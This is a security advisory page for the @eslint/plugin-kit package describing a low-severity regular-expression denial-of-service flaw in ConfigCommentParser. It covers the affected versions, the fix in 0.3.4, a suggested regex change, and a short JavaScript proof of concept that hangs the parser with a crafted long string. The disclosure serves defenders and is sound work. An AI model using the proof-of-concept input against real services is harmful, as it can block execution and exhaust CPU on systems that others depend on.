Packages / @eslint/plugin-kit / Security
LowVulnerabilityGHSA-xffm-g5w8-qvg7Published 18 Jul 2025
@eslint/plugin-kit is vulnerable to Regular Expression Denial of Service attacks through ConfigCommentParser
Your version
Affected releases · @eslint/plugin-kit
- 0.3.x0.3.1 – 0.3.3Fixed in 0.3.4
- 0.2.x and older0.1.0 – 0.2.8No fix, no longer updated
On 0.3.x, the newest line:
npm install @eslint/plugin-kit@0.3.4Every release on a timeline
Affected
0.1.0 – 0.3.3
13 releases
Fixed
0.3.4 – 0.7.3
12 releases, latest
What happens
Summary
The ConfigCommentParser#parseJSONLikeConfig API is vulnerable to a Regular Expression Denial of Service (ReDoS) attack in its only argument.
Details
The regular expression at packages/plugin-kit/src/config-comment-parser.js:158 is vulnerable to a quadratic runtime attack because the grouped expression is not anchored. This can be solved by prepending the regular expression with [^-a-zA-Z0-9/].
PoC
const { ConfigCommentParser } = require("@eslint/plugin-kit");
const str = `${"A".repeat(1000000)}?: 1 B: 2`;
console.log("start")
var parser = new ConfigCommentParser();
console.log(parser.parseJSONLikeConfig(str));
console.log("end")
// run `npm i @eslint/plugin-kit@0.3.3` and `node attack.js`
// then the program will stuck forever with high CPU usageImpact
This is a Regular Expression Denial of Service attack which may lead to blocking execution and high CPU usage.